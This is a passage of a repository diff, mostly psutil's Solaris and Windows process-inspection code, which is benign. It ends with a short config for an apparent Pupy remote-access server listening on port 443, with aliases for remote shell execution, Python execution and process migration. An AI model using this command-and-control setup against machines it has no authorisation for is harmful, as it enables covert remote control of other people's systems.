return _common.puids(real, effective, saved)
|
||||
|
||||
@wrap_exceptions
|
||||
def cpu_times(self):
|
||||
user, system = cext.proc_cpu_times(self.pid)
|
||||
return _common.pcputimes(user, system)
|
||||
|
||||
@wrap_exceptions
|
||||
def terminal(self):
|
||||
hit_enoent = False
|
||||
tty = wrap_exceptions(
|
||||
cext.proc_basic_info(self.pid)[0])
|
||||
if tty != cext.PRNODEV:
|
||||
for x in (0, 1, 2, 255):
|
||||
try:
|
||||
return os.readlink('/proc/%d/path/%d' % (self.pid, x))
|
||||
except OSError as err:
|
||||
if err.errno == errno.ENOENT:
|
||||
hit_enoent = True
|
||||
continue
|
||||
raise
|
||||
if hit_enoent:
|
||||
# raise NSP if the process disappeared on us
|
||||
os.stat('/proc/%s' % self.pid)
|
||||
|
||||
@wrap_exceptions
|
||||
def cwd(self):
|
||||
# /proc/PID/path/cwd may not be resolved by readlink() even if
|
||||
# it exists (ls shows it). If that's the case and the process
|
||||
# is still alive return None (we can return None also on BSD).
|
||||
# Reference: http://goo.gl/55XgO
|
||||
try:
|
||||
return os.readlink("/proc/%s/path/cwd" % self.pid)
|
||||
except OSError as err:
|
||||
if err.errno == errno.ENOENT:
|
||||
os.stat("/proc/%s" % self.pid)
|
||||
return None
|
||||
raise
|
||||
|
||||
@wrap_exceptions
|
||||
def memory_info(self):
|
||||
ret = cext.proc_basic_info(self.pid)
|
||||
rss, vms = ret[1] * 1024, ret[2] * 1024
|
||||
return _common.pmem(rss, vms)
|
||||
|
||||
# it seems Solaris uses rss and vms only
|
||||
memory_info_ex = memory_info
|
||||
|
||||
@wrap_exceptions
|
||||
def status(self):
|
||||
code = cext.proc_basic_info(self.pid)[6]
|
||||
# XXX is '?' legit? (we're not supposed to return it anyway)
|
||||
return PROC_STATUSES.get(code, '?')
|
||||
|
||||
@wrap_exceptions
|
||||
def threads(self):
|
||||
ret = []
|
||||
tids = os.listdir('/proc/%d/lwp' % self.pid)
|
||||
hit_enoent = False
|
||||
for tid in tids:
|
||||
tid = int(tid)
|
||||
try:
|
||||
utime, stime = cext.query_process_thread(
|
||||
self.pid, tid)
|
||||
except EnvironmentError as err:
|
||||
# ENOENT == thread gone in meantime
|
||||
if err.errno == errno.ENOENT:
|
||||
hit_enoent = True
|
||||
continue
|
||||
raise
|
||||
else:
|
||||
nt = _common.pthread(tid, utime, stime)
|
||||
ret.append(nt)
|
||||
if hit_enoent:
|
||||
# raise NSP if the process disappeared on us
|
||||
os.stat('/proc/%s' % self.pid)
|
||||
return ret
|
||||
|
||||
@wrap_exceptions
|
||||
def open_files(self):
|
||||
retlist = []
|
||||
hit_enoent = False
|
||||
pathdir = '/proc/%d/path' % self.pid
|
||||
for fd in os.listdir('/proc/%d/fd' % self.pid):
|
||||
path = os.path.join(pathdir, fd)
|
||||
if os.path.islink(path):
|
||||
try:
|
||||
file = os.readlink(path)
|
||||
except OSError as err:
|
||||
# ENOENT == file which is gone in the meantime
|
||||
if err.errno == errno.ENOENT:
|
||||
hit_enoent = True
|
||||
continue
|
||||
raise
|
||||
else:
|
||||
if isfile_strict(file):
|
||||
retlist.append(_common.popenfile(file, int(fd)))
|
||||
if hit_enoent:
|
||||
# raise NSP if the process disappeared on us
|
||||
os.stat('/proc/%s' % self.pid)
|
||||
return retlist
|
||||
|
||||
def _get_unix_sockets(self, pid):
|
||||
"""Get UNIX sockets used by process by parsing 'pfiles' output."""
|
||||
# TODO: rewrite this in C (...but the damn netstat source code
|
||||
# does not include this part! Argh!!)
|
||||
cmd = "pfiles %s" % pid
|
||||
p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE,
|
||||
stderr=subprocess.PIPE)
|
||||
stdout, stderr = p.communicate()
|
||||
if PY3:
|
||||
stdout, stderr = [x.decode(sys.stdout.encoding)
|
||||
for x in (stdout, stderr)]
|
||||
if p.returncode != 0:
|
||||
if 'permission denied' in stderr.lower():
|
||||
raise AccessDenied(self.pid, self._name)
|
||||
if 'no such process' in stderr.lower():
|
||||
raise NoSuchProcess(self.pid, self._name)
|
||||
raise RuntimeError("%r command error\n%s" % (cmd, stderr))
|
||||
|
||||
lines = stdout.split('\n')[2:]
|
||||
for i, line in enumerate(lines):
|
||||
line = line.lstrip()
|
||||
if line.startswith('sockname: AF_UNIX'):
|
||||
path = line.split(' ', 2)[2]
|
||||
type = lines[i - 2].strip()
|
||||
if type == 'SOCK_STREAM':
|
||||
type = socket.SOCK_STREAM
|
||||
elif type == 'SOCK_DGRAM':
|
||||
type = socket.SOCK_DGRAM
|
||||
else:
|
||||
type = -1
|
||||
yield (-1, socket.AF_UNIX, type, path, "", _common.CONN_NONE)
|
||||
|
||||
@wrap_exceptions
|
||||
def connections(self, kind='inet'):
|
||||
ret = net_connections(kind, _pid=self.pid)
|
||||
# The underlying C implementation retrieves all OS connections
|
||||
# and filters them by PID. At this point we can't tell whether
|
||||
# an empty list means there were no connections for process or
|
||||
# process is no longer active so we force NSP in case the PID
|
||||
# is no longer there.
|
||||
if not ret:
|
||||
os.stat('/proc/%s' % self.pid) # will raise NSP if process is gone
|
||||
|
||||
# UNIX sockets
|
||||
if kind in ('all', 'unix'):
|
||||
ret.extend([_common.pconn(*conn) for conn in
|
||||
self._get_unix_sockets(self.pid)])
|
||||
return ret
|
||||
|
||||
nt_mmap_grouped = namedtuple('mmap', 'path rss anon locked')
|
||||
nt_mmap_ext = namedtuple('mmap', 'addr perms path rss anon locked')
|
||||
|
||||
@wrap_exceptions
|
||||
def memory_maps(self):
|
||||
def toaddr(start, end):
|
||||
return '%s-%s' % (hex(start)[2:].strip('L'),
|
||||
hex(end)[2:].strip('L'))
|
||||
|
||||
retlist = []
|
||||
rawlist = cext.proc_memory_maps(self.pid)
|
||||
hit_enoent = False
|
||||
for item in rawlist:
|
||||
addr, addrsize, perm, name, rss, anon, locked = item
|
||||
addr = toaddr(addr, addrsize)
|
||||
if not name.startswith('['):
|
||||
try:
|
||||
name = os.readlink('/proc/%s/path/%s' % (self.pid, name))
|
||||
except OSError as err:
|
||||
if err.errno == errno.ENOENT:
|
||||
# sometimes the link may not be resolved by
|
||||
# readlink() even if it exists (ls shows it).
|
||||
# If that's the case we just return the
|
||||
# unresolved link path.
|
||||
# This seems an incosistency with /proc similar
|
||||
# to: http://goo.gl/55XgO
|
||||
name = '/proc/%s/path/%s' % (self.pid, name)
|
||||
hit_enoent = True
|
||||
else:
|
||||
raise
|
||||
retlist.append((addr, perm, name, rss, anon, locked))
|
||||
if hit_enoent:
|
||||
# raise NSP if the process disappeared on us
|
||||
os.stat('/proc/%s' % self.pid)
|
||||
return retlist
|
||||
|
||||
@wrap_exceptions
|
||||
def num_fds(self):
|
||||
return len(os.listdir("/proc/%s/fd" % self.pid))
|
||||
|
||||
@wrap_exceptions
|
||||
def num_ctx_switches(self):
|
||||
return _common.pctxsw(*cext.proc_num_ctx_switches(self.pid))
|
||||
|
||||
@wrap_exceptions
|
||||
def wait(self, timeout=None):
|
||||
try:
|
||||
return _psposix.wait_pid(self.pid, timeout)
|
||||
except _psposix.TimeoutExpired:
|
||||
# support for private module import
|
||||
if TimeoutExpired is None:
|
||||
raise
|
||||
raise TimeoutExpired(timeout, self.pid, self._name)
|
|
@ -0,0 +1,584 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved.
|
||||
# Use of this source code is governed by a BSD-style license that can be
|
||||
# found in the LICENSE file.
|
||||
|
||||
"""Windows platform implementation."""
|
||||
|
||||
import errno
|
||||
import functools
|
||||
import os
|
||||
import sys
|
||||
from collections import namedtuple
|
||||
|
||||
from . import _common
|
||||
from . import _psutil_windows as cext
|
||||
from ._common import conn_tmap, usage_percent, isfile_strict
|
||||
from ._common import sockfam_to_enum, socktype_to_enum
|
||||
from ._compat import PY3, xrange, lru_cache, long
|
||||
from ._psutil_windows import (ABOVE_NORMAL_PRIORITY_CLASS,
|
||||
BELOW_NORMAL_PRIORITY_CLASS,
|
||||
HIGH_PRIORITY_CLASS,
|
||||
IDLE_PRIORITY_CLASS,
|
||||
NORMAL_PRIORITY_CLASS,
|
||||
REALTIME_PRIORITY_CLASS)
|
||||
|
||||
if sys.version_info >= (3, 4):
|
||||
import enum
|
||||
else:
|
||||
enum = None
|
||||
|
||||
# process priority constants, import from __init__.py:
|
||||
# http://msdn.microsoft.com/en-us/library/ms686219(v=vs.85).aspx
|
||||
__extra__all__ = ["ABOVE_NORMAL_PRIORITY_CLASS", "BELOW_NORMAL_PRIORITY_CLASS",
|
||||
"HIGH_PRIORITY_CLASS", "IDLE_PRIORITY_CLASS",
|
||||
"NORMAL_PRIORITY_CLASS", "REALTIME_PRIORITY_CLASS",
|
||||
"CONN_DELETE_TCB",
|
||||
"AF_LINK",
|
||||
]
|
||||
|
||||
# --- module level constants (gets pushed up to psutil module)
|
||||
|
||||
CONN_DELETE_TCB = "DELETE_TCB"
|
||||
WAIT_TIMEOUT = 0x00000102 # 258 in decimal
|
||||
ACCESS_DENIED_SET = frozenset([errno.EPERM, errno.EACCES,
|
||||
cext.ERROR_ACCESS_DENIED])
|
||||
if enum is None:
|
||||
AF_LINK = -1
|
||||
else:
|
||||
AddressFamily = enum.IntEnum('AddressFamily', {'AF_LINK': -1})
|
||||
AF_LINK = AddressFamily.AF_LINK
|
||||
|
||||
TCP_STATUSES = {
|
||||
cext.MIB_TCP_STATE_ESTAB: _common.CONN_ESTABLISHED,
|
||||
cext.MIB_TCP_STATE_SYN_SENT: _common.CONN_SYN_SENT,
|
||||
cext.MIB_TCP_STATE_SYN_RCVD: _common.CONN_SYN_RECV,
|
||||
cext.MIB_TCP_STATE_FIN_WAIT1: _common.CONN_FIN_WAIT1,
|
||||
cext.MIB_TCP_STATE_FIN_WAIT2: _common.CONN_FIN_WAIT2,
|
||||
cext.MIB_TCP_STATE_TIME_WAIT: _common.CONN_TIME_WAIT,
|
||||
cext.MIB_TCP_STATE_CLOSED: _common.CONN_CLOSE,
|
||||
cext.MIB_TCP_STATE_CLOSE_WAIT: _common.CONN_CLOSE_WAIT,
|
||||
cext.MIB_TCP_STATE_LAST_ACK: _common.CONN_LAST_ACK,
|
||||
cext.MIB_TCP_STATE_LISTEN: _common.CONN_LISTEN,
|
||||
cext.MIB_TCP_STATE_CLOSING: _common.CONN_CLOSING,
|
||||
cext.MIB_TCP_STATE_DELETE_TCB: CONN_DELETE_TCB,
|
||||
cext.PSUTIL_CONN_NONE: _common.CONN_NONE,
|
||||
}
|
||||
|
||||
if enum is not None:
|
||||
class Priority(enum.IntEnum):
|
||||
ABOVE_NORMAL_PRIORITY_CLASS = ABOVE_NORMAL_PRIORITY_CLASS
|
||||
BELOW_NORMAL_PRIORITY_CLASS = BELOW_NORMAL_PRIORITY_CLASS
|
||||
HIGH_PRIORITY_CLASS = HIGH_PRIORITY_CLASS
|
||||
IDLE_PRIORITY_CLASS = IDLE_PRIORITY_CLASS
|
||||
NORMAL_PRIORITY_CLASS = NORMAL_PRIORITY_CLASS
|
||||
REALTIME_PRIORITY_CLASS = REALTIME_PRIORITY_CLASS
|
||||
|
||||
globals().update(Priority.__members__)
|
||||
|
||||
scputimes = namedtuple('scputimes', ['user', 'system', 'idle'])
|
||||
svmem = namedtuple('svmem', ['total', 'available', 'percent', 'used', 'free'])
|
||||
pextmem = namedtuple(
|
||||
'pextmem', ['num_page_faults', 'peak_wset', 'wset', 'peak_paged_pool',
|
||||
'paged_pool', 'peak_nonpaged_pool', 'nonpaged_pool',
|
||||
'pagefile', 'peak_pagefile', 'private'])
|
||||
pmmap_grouped = namedtuple('pmmap_grouped', ['path', 'rss'])
|
||||
pmmap_ext = namedtuple(
|
||||
'pmmap_ext', 'addr perms ' + ' '.join(pmmap_grouped._fields))
|
||||
ntpinfo = namedtuple(
|
||||
'ntpinfo', ['num_handles', 'ctx_switches', 'user_time', 'kernel_time',
|
||||
'create_time', 'num_threads', 'io_rcount', 'io_wcount',
|
||||
'io_rbytes', 'io_wbytes'])
|
||||
|
||||
# set later from __init__.py
|
||||
NoSuchProcess = None
|
||||
AccessDenied = None
|
||||
TimeoutExpired = None
|
||||
|
||||
|
||||
@lru_cache(maxsize=512)
|
||||
def _win32_QueryDosDevice(s):
|
||||
return cext.win32_QueryDosDevice(s)
|
||||
|
||||
|
||||
def _convert_raw_path(s):
|
||||
# convert paths using native DOS format like:
|
||||
# "\Device\HarddiskVolume1\Windows\systemew\file.txt"
|
||||
# into: "C:\Windows\systemew\file.txt"
|
||||
if PY3 and not isinstance(s, str):
|
||||
s = s.decode('utf8')
|
||||
rawdrive = '\\'.join(s.split('\\')[:3])
|
||||
driveletter = _win32_QueryDosDevice(rawdrive)
|
||||
return os.path.join(driveletter, s[len(rawdrive):])
|
||||
|
||||
|
||||
def py2_strencode(s, encoding=sys.getfilesystemencoding()):
|
||||
if PY3 or isinstance(s, str):
|
||||
return s
|
||||
else:
|
||||
try:
|
||||
return s.encode(encoding)
|
||||
except UnicodeEncodeError:
|
||||
# Filesystem codec failed, return the plain unicode
|
||||
# string (this should never happen).
|
||||
return s
|
||||
|
||||
|
||||
# --- public functions
|
||||
|
||||
|
||||
def virtual_memory():
|
||||
"""System virtual memory as a namedtuple."""
|
||||
mem = cext.virtual_mem()
|
||||
totphys, availphys, totpagef, availpagef, totvirt, freevirt = mem
|
||||
#
|
||||
total = totphys
|
||||
avail = availphys
|
||||
free = availphys
|
||||
used = total - avail
|
||||
percent = usage_percent((total - avail), total, _round=1)
|
||||
return svmem(total, avail, percent, used, free)
|
||||
|
||||
|
||||
def swap_memory():
|
||||
"""Swap system memory as a (total, used, free, sin, sout) tuple."""
|
||||
mem = cext.virtual_mem()
|
||||
total = mem[2]
|
||||
free = mem[3]
|
||||
used = total - free
|
||||
percent = usage_percent(used, total, _round=1)
|
||||
return _common.sswap(total, used, free, percent, 0, 0)
|
||||
|
||||
|
||||
def disk_usage(path):
|
||||
"""Return disk usage associated with path."""
|
||||
try:
|
||||
total, free = cext.disk_usage(path)
|
||||
except WindowsError:
|
||||
if not os.path.exists(path):
|
||||
msg = "No such file or directory: '%s'" % path
|
||||
raise OSError(errno.ENOENT, msg)
|
||||
raise
|
||||
used = total - free
|
||||
percent = usage_percent(used, total, _round=1)
|
||||
return _common.sdiskusage(total, used, free, percent)
|
||||
|
||||
|
||||
def disk_partitions(all):
|
||||
"""Return disk partitions."""
|
||||
rawlist = cext.disk_partitions(all)
|
||||
return [_common.sdiskpart(*x) for x in rawlist]
|
||||
|
||||
|
||||
def cpu_times():
|
||||
"""Return system CPU times as a named tuple."""
|
||||
user, system, idle = cext.cpu_times()
|
||||
return scputimes(user, system, idle)
|
||||
|
||||
|
||||
def per_cpu_times():
|
||||
"""Return system per-CPU times as a list of named tuples."""
|
||||
ret = []
|
||||
for cpu_t in cext.per_cpu_times():
|
||||
user, system, idle = cpu_t
|
||||
item = scputimes(user, system, idle)
|
||||
ret.append(item)
|
||||
return ret
|
||||
|
||||
|
||||
def cpu_count_logical():
|
||||
"""Return the number of logical CPUs in the system."""
|
||||
return cext.cpu_count_logical()
|
||||
|
||||
|
||||
def cpu_count_physical():
|
||||
"""Return the number of physical CPUs in the system."""
|
||||
return cext.cpu_count_phys()
|
||||
|
||||
|
||||
def boot_time():
|
||||
"""The system boot time expressed in seconds since the epoch."""
|
||||
return cext.boot_time()
|
||||
|
||||
|
||||
def net_connections(kind, _pid=-1):
|
||||
"""Return socket connections. If pid == -1 return system-wide
|
||||
connections (as opposed to connections opened by one process only).
|
||||
"""
|
||||
if kind not in conn_tmap:
|
||||
raise ValueError("invalid %r kind argument; choose between %s"
|
||||
% (kind, ', '.join([repr(x) for x in conn_tmap])))
|
||||
families, types = conn_tmap[kind]
|
||||
rawlist = cext.net_connections(_pid, families, types)
|
||||
ret = set()
|
||||
for item in rawlist:
|
||||
fd, fam, type, laddr, raddr, status, pid = item
|
||||
status = TCP_STATUSES[status]
|
||||
fam = sockfam_to_enum(fam)
|
||||
type = socktype_to_enum(type)
|
||||
if _pid == -1:
|
||||
nt = _common.sconn(fd, fam, type, laddr, raddr, status, pid)
|
||||
else:
|
||||
nt = _common.pconn(fd, fam, type, laddr, raddr, status)
|
||||
ret.add(nt)
|
||||
return list(ret)
|
||||
|
||||
|
||||
def net_if_stats():
|
||||
ret = cext.net_if_stats()
|
||||
for name, items in ret.items():
|
||||
name = py2_strencode(name)
|
||||
isup, duplex, speed, mtu = items
|
||||
if hasattr(_common, 'NicDuplex'):
|
||||
duplex = _common.NicDuplex(duplex)
|
||||
ret[name] = _common.snicstats(isup, duplex, speed, mtu)
|
||||
return ret
|
||||
|
||||
|
||||
def net_io_counters():
|
||||
ret = cext.net_io_counters()
|
||||
return dict([(py2_strencode(k), v) for k, v in ret.items()])
|
||||
|
||||
|
||||
def net_if_addrs():
|
||||
ret = []
|
||||
for items in cext.net_if_addrs():
|
||||
items = list(items)
|
||||
items[0] = py2_strencode(items[0])
|
||||
ret.append(items)
|
||||
return ret
|
||||
|
||||
|
||||
def users():
|
||||
"""Return currently connected users as a list of namedtuples."""
|
||||
retlist = []
|
||||
rawlist = cext.users()
|
||||
for item in rawlist:
|
||||
user, hostname, tstamp = item
|
||||
user = py2_strencode(user)
|
||||
nt = _common.suser(user, None, hostname, tstamp)
|
||||
retlist.append(nt)
|
||||
return retlist
|
||||
|
||||
|
||||
pids = cext.pids
|
||||
pid_exists = cext.pid_exists
|
||||
disk_io_counters = cext.disk_io_counters
|
||||
ppid_map = cext.ppid_map # not meant to be public
|
||||
|
||||
|
||||
def wrap_exceptions(fun):
|
||||
"""Decorator which translates bare OSError and WindowsError
|
||||
exceptions into NoSuchProcess and AccessDenied.
|
||||
"""
|
||||
@functools.wraps(fun)
|
||||
def wrapper(self, *args, **kwargs):
|
||||
try:
|
||||
return fun(self, *args, **kwargs)
|
||||
except OSError as err:
|
||||
# support for private module import
|
||||
if NoSuchProcess is None or AccessDenied is None:
|
||||
raise
|
||||
if err.errno in ACCESS_DENIED_SET:
|
||||
raise AccessDenied(self.pid, self._name)
|
||||
if err.errno == errno.ESRCH:
|
||||
raise NoSuchProcess(self.pid, self._name)
|
||||
raise
|
||||
return wrapper
|
||||
|
||||
|
||||
class Process(object):
|
||||
"""Wrapper class around underlying C implementation."""
|
||||
|
||||
__slots__ = ["pid", "_name", "_ppid"]
|
||||
|
||||
def __init__(self, pid):
|
||||
self.pid = pid
|
||||
self._name = None
|
||||
self._ppid = None
|
||||
|
||||
@wrap_exceptions
|
||||
def name(self):
|
||||
"""Return process name, which on Windows is always the final
|
||||
part of the executable.
|
||||
"""
|
||||
# This is how PIDs 0 and 4 are always represented in taskmgr
|
||||
# and process-hacker.
|
||||
if self.pid == 0:
|
||||
return "System Idle Process"
|
||||
elif self.pid == 4:
|
||||
return "System"
|
||||
else:
|
||||
try:
|
||||
# Note: this will fail with AD for most PIDs owned
|
||||
# by another user but it's faster.
|
||||
return py2_strencode(os.path.basename(self.exe()))
|
||||
except AccessDenied:
|
||||
return py2_strencode(cext.proc_name(self.pid))
|
||||
|
||||
@wrap_exceptions
|
||||
def exe(self):
|
||||
# Note: os.path.exists(path) may return False even if the file
|
||||
# is there, see:
|
||||
# http://stackoverflow.com/questions/3112546/os-path-exists-lies
|
||||
|
||||
# see https://github.com/giampaolo/psutil/issues/414
|
||||
# see https://github.com/giampaolo/psutil/issues/528
|
||||
if self.pid in (0, 4):
|
||||
raise AccessDenied(self.pid, self._name)
|
||||
return py2_strencode(_convert_raw_path(cext.proc_exe(self.pid)))
|
||||
|
||||
@wrap_exceptions
|
||||
def cmdline(self):
|
||||
ret = cext.proc_cmdline(self.pid)
|
||||
if PY3:
|
||||
return ret
|
||||
else:
|
||||
return [py2_strencode(s) for s in ret]
|
||||
|
||||
def ppid(self):
|
||||
try:
|
||||
return ppid_map()[self.pid]
|
||||
except KeyError:
|
||||
raise NoSuchProcess(self.pid, self._name)
|
||||
|
||||
def _get_raw_meminfo(self):
|
||||
try:
|
||||
return cext.proc_memory_info(self.pid)
|
||||
except OSError as err:
|
||||
if err.errno in ACCESS_DENIED_SET:
|
||||
# TODO: the C ext can probably be refactored in order
|
||||
# to get this from cext.proc_info()
|
||||
return cext.proc_memory_info_2(self.pid)
|
||||
raise
|
||||
|
||||
@wrap_exceptions
|
||||
def memory_info(self):
|
||||
# on Windows RSS == WorkingSetSize and VSM == PagefileUsage
|
||||
# fields of PROCESS_MEMORY_COUNTERS struct:
|
||||
# http://msdn.microsoft.com/en-us/library/windows/desktop/
|
||||
# ms684877(v=vs.85).aspx
|
||||
t = self._get_raw_meminfo()
|
||||
return _common.pmem(t[2], t[7])
|
||||
|
||||
@wrap_exceptions
|
||||
def memory_info_ex(self):
|
||||
return pextmem(*self._get_raw_meminfo())
|
||||
|
||||
def memory_maps(self):
|
||||
try:
|
||||
raw = cext.proc_memory_maps(self.pid)
|
||||
except OSError as err:
|
||||
# XXX - can't use wrap_exceptions decorator as we're
|
||||
# returning a generator; probably needs refactoring.
|
||||
if err.errno in ACCESS_DENIED_SET:
|
||||
raise AccessDenied(self.pid, self._name)
|
||||
if err.errno == errno.ESRCH:
|
||||
raise NoSuchProcess(self.pid, self._name)
|
||||
raise
|
||||
else:
|
||||
for addr, perm, path, rss in raw:
|
||||
path = _convert_raw_path(path)
|
||||
addr = hex(addr)
|
||||
yield (addr, perm, path, rss)
|
||||
|
||||
@wrap_exceptions
|
||||
def kill(self):
|
||||
return cext.proc_kill(self.pid)
|
||||
|
||||
@wrap_exceptions
|
||||
def send_signal(self, sig):
|
||||
os.kill(self.pid, sig)
|
||||
|
||||
@wrap_exceptions
|
||||
def wait(self, timeout=None):
|
||||
if timeout is None:
|
||||
timeout = cext.INFINITE
|
||||
else:
|
||||
# WaitForSingleObject() expects time in milliseconds
|
||||
timeout = int(timeout * 1000)
|
||||
ret = cext.proc_wait(self.pid, timeout)
|
||||
if ret == WAIT_TIMEOUT:
|
||||
# support for private module import
|
||||
if TimeoutExpired is None:
|
||||
raise RuntimeError("timeout expired")
|
||||
raise TimeoutExpired(timeout, self.pid, self._name)
|
||||
return ret
|
||||
|
||||
@wrap_exceptions
|
||||
def username(self):
|
||||
if self.pid in (0, 4):
|
||||
return 'NT AUTHORITY\\SYSTEM'
|
||||
return cext.proc_username(self.pid)
|
||||
|
||||
@wrap_exceptions
|
||||
def create_time(self):
|
||||
# special case for kernel process PIDs; return system boot time
|
||||
if self.pid in (0, 4):
|
||||
return boot_time()
|
||||
try:
|
||||
return cext.proc_create_time(self.pid)
|
||||
except OSError as err:
|
||||
if err.errno in ACCESS_DENIED_SET:
|
||||
return ntpinfo(*cext.proc_info(self.pid)).create_time
|
||||
raise
|
||||
|
||||
@wrap_exceptions
|
||||
def num_threads(self):
|
||||
return ntpinfo(*cext.proc_info(self.pid)).num_threads
|
||||
|
||||
@wrap_exceptions
|
||||
def threads(self):
|
||||
rawlist = cext.proc_threads(self.pid)
|
||||
retlist = []
|
||||
for thread_id, utime, stime in rawlist:
|
||||
ntuple = _common.pthread(thread_id, utime, stime)
|
||||
retlist.append(ntuple)
|
||||
return retlist
|
||||
|
||||
@wrap_exceptions
|
||||
def cpu_times(self):
|
||||
try:
|
||||
ret = cext.proc_cpu_times(self.pid)
|
||||
except OSError as err:
|
||||
if err.errno in ACCESS_DENIED_SET:
|
||||
nt = ntpinfo(*cext.proc_info(self.pid))
|
||||
ret = (nt.user_time, nt.kernel_time)
|
||||
else:
|
||||
raise
|
||||
return _common.pcputimes(*ret)
|
||||
|
||||
@wrap_exceptions
|
||||
def suspend(self):
|
||||
return cext.proc_suspend(self.pid)
|
||||
|
||||
@wrap_exceptions
|
||||
def resume(self):
|
||||
return cext.proc_resume(self.pid)
|
||||
|
||||
@wrap_exceptions
|
||||
def cwd(self):
|
||||
if self.pid in (0, 4):
|
||||
raise AccessDenied(self.pid, self._name)
|
||||
# return a normalized pathname since the native C function appends
|
||||
# "\\" at the and of the path
|
||||
path = cext.proc_cwd(self.pid)
|
||||
return py2_strencode(os.path.normpath(path))
|
||||
|
||||
@wrap_exceptions
|
||||
def open_files(self):
|
||||
if self.pid in (0, 4):
|
||||
return []
|
||||
ret = set()
|
||||
# Filenames come in in native format like:
|
||||
# "\Device\HarddiskVolume1\Windows\systemew\file.txt"
|
||||
# Convert the first part in the corresponding drive letter
|
||||
# (e.g. "C:\") by using Windows's QueryDosDevice()
|
||||
raw_file_names = cext.proc_open_files(self.pid)
|
||||
for _file in raw_file_names:
|
||||
_file = _convert_raw_path(_file)
|
||||
if isfile_strict(_file):
|
||||
if not PY3:
|
||||
_file = py2_strencode(_file)
|
||||
ntuple = _common.popenfile(_file, -1)
|
||||
ret.add(ntuple)
|
||||
return list(ret)
|
||||
|
||||
@wrap_exceptions
|
||||
def connections(self, kind='inet'):
|
||||
return net_connections(kind, _pid=self.pid)
|
||||
|
||||
@wrap_exceptions
|
||||
def nice_get(self):
|
||||
value = cext.proc_priority_get(self.pid)
|
||||
if enum is not None:
|
||||
value = Priority(value)
|
||||
return value
|
||||
|
||||
@wrap_exceptions
|
||||
def nice_set(self, value):
|
||||
return cext.proc_priority_set(self.pid, value)
|
||||
|
||||
# available on Windows >= Vista
|
||||
if hasattr(cext, "proc_io_priority_get"):
|
||||
@wrap_exceptions
|
||||
def ionice_get(self):
|
||||
return cext.proc_io_priority_get(self.pid)
|
||||
|
||||
@wrap_exceptions
|
||||
def ionice_set(self, value, _):
|
||||
if _:
|
||||
raise TypeError("set_proc_ionice() on Windows takes only "
|
||||
"1 argument (2 given)")
|
||||
if value not in (2, 1, 0):
|
||||
raise ValueError("value must be 2 (normal), 1 (low) or 0 "
|
||||
"(very low); got %r" % value)
|
||||
return cext.proc_io_priority_set(self.pid, value)
|
||||
|
||||
@wrap_exceptions
|
||||
def io_counters(self):
|
||||
try:
|
||||
ret = cext.proc_io_counters(self.pid)
|
||||
except OSError as err:
|
||||
if err.errno in ACCESS_DENIED_SET:
|
||||
nt = ntpinfo(*cext.proc_info(self.pid))
|
||||
ret = (nt.io_rcount, nt.io_wcount, nt.io_rbytes, nt.io_wbytes)
|
||||
else:
|
||||
raise
|
||||
return _common.pio(*ret)
|
||||
|
||||
@wrap_exceptions
|
||||
def status(self):
|
||||
suspended = cext.proc_is_suspended(self.pid)
|
||||
if suspended:
|
||||
return _common.STATUS_STOPPED
|
||||
else:
|
||||
return _common.STATUS_RUNNING
|
||||
|
||||
@wrap_exceptions
|
||||
def cpu_affinity_get(self):
|
||||
def from_bitmask(x):
|
||||
return [i for i in xrange(64) if (1 << i) & x]
|
||||
bitmask = cext.proc_cpu_affinity_get(self.pid)
|
||||
return from_bitmask(bitmask)
|
||||
|
||||
@wrap_exceptions
|
||||
def cpu_affinity_set(self, value):
|
||||
def to_bitmask(l):
|
||||
if not l:
|
||||
raise ValueError("invalid argument %r" % l)
|
||||
out = 0
|
||||
for b in l:
|
||||
out |= 2 ** b
|
||||
return out
|
||||
|
||||
# SetProcessAffinityMask() states that ERROR_INVALID_PARAMETER
|
||||
# is returned for an invalid CPU but this seems not to be true,
|
||||
# therefore we check CPUs validy beforehand.
|
||||
allcpus = list(range(len(per_cpu_times())))
|
||||
for cpu in value:
|
||||
if cpu not in allcpus:
|
||||
if not isinstance(cpu, (int, long)):
|
||||
raise TypeError(
|
||||
"invalid CPU %r; an integer is required" % cpu)
|
||||
else:
|
||||
raise ValueError("invalid CPU %r" % cpu)
|
||||
|
||||
bitmask = to_bitmask(value)
|
||||
cext.proc_cpu_affinity_set(self.pid, bitmask)
|
||||
|
||||
@wrap_exceptions
|
||||
def num_handles(self):
|
||||
try:
|
||||
return cext.proc_num_handles(self.pid)
|
||||
except OSError as err:
|
||||
if err.errno in ACCESS_DENIED_SET:
|
||||
return ntpinfo(*cext.proc_info(self.pid)).num_handles
|
||||
raise
|
||||
|
||||
@wrap_exceptions
|
||||
def num_ctx_switches(self):
|
||||
ctx_switches = ntpinfo(*cext.proc_info(self.pid)).ctx_switches
|
||||
# only voluntary ctx switches are supported
|
||||
return _common.pctxsw(ctx_switches, 0)
|
|
@ -0,0 +1,17 @@
|
|||
[pupyd]
|
||||
address = 0.0.0.0
|
||||
port = 443
|
||||
keyfile = crypto/server.pem
|
||||
certfile = crypto/cert.pem
|
||||
|
||||
[cmdline]
|
||||
display_banner = yes
|
||||
|
||||
[aliases]
|
||||
info = get_info
|
||||
pyexec = pyexec
|
||||
exec = shell_exec
|
||||
ps = ps
|
||||
migrate = migrate
|
||||
contest = pyexec -c 'print "ok"'
|
||||
#tasklist = shell_exec 'tasklist /v'
|
|
@ -0,0 +1,149 @@
|
|||
# -*- coding: UTF8 -*-
|
||||
# --------------------------------------------------------------
|
||||
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
|
||||
# All rights reserved.
|
||||
#
|
||||
# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
|
||||
#
|
||||
# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
|
||||
#
|
||||
# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
|
||||
#
|
||||
# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
|
||||
#
|
||||
